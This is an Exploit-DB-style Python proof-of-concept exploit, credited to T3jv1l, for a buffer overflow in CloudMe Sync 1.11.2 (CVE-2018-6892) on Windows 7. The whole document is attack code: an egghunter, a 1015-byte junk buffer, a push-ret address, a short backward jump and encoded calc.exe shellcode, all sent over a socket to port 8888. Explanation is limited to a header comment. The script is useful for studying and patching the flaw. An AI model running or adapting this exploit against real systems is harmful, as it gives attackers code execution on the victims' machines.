####################################################### # Exploit Title: CloudMe Sync v1.11.2 Buffer Overflow + Egghunt # Date: 23.04.2018 # Exploit Author:T3jv1l # Vendor Homepage:https://www.cloudme.com/en # Software: https://www.cloudme.com/downloads/CloudMe_1112.exe # Category:Local # Contact:https://twitter.com/T3jv1l # Version: CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt # Tested on: Windows 7 SP1 x86 # CVE-2018-6892 # Real exploit https://www.exploit-db.com/exploits/44027 in version 1.11.0 # Hello subinacls and NytroRST ! ############################################################# import socket egg = ( "\x66\x81\xca\xff\x0f\x42\x52\x6a" "\x02\x58\xcd\x2e\x3c\x05\x5a\x74" #boom "\xef\xb8\x62\x6f\x6f\x6d\x8b\xfa" "\xaf\x75\xea\xaf\x75\xe7\xff\xe7") target="127.0.0.1" junk="A"*1015 jmp="\xd9\x37\x99\x69" #0x699937d9 push ret jump_back="\xeb\xc4" #jump -60 bytes #Shellcode calc.exe buf = "" buf +="\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1" buf +="\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63" buf +="\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1" buf +="\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96" buf +="\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a" buf +="\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa" buf +="\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde" buf +="\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc" buf +="\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36" buf +="\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6" buf +="\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72" buf +="\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc" buf +="\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2" buf +="\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1" buf +="\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80" buf +="\xc4\xd9" payload1=junk+egg+"B"*5 + jmp + jump_back payload2="boomboom" + buf try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target,8888)) s.send(payload1+payload2) except: print "Don't Crash Me !"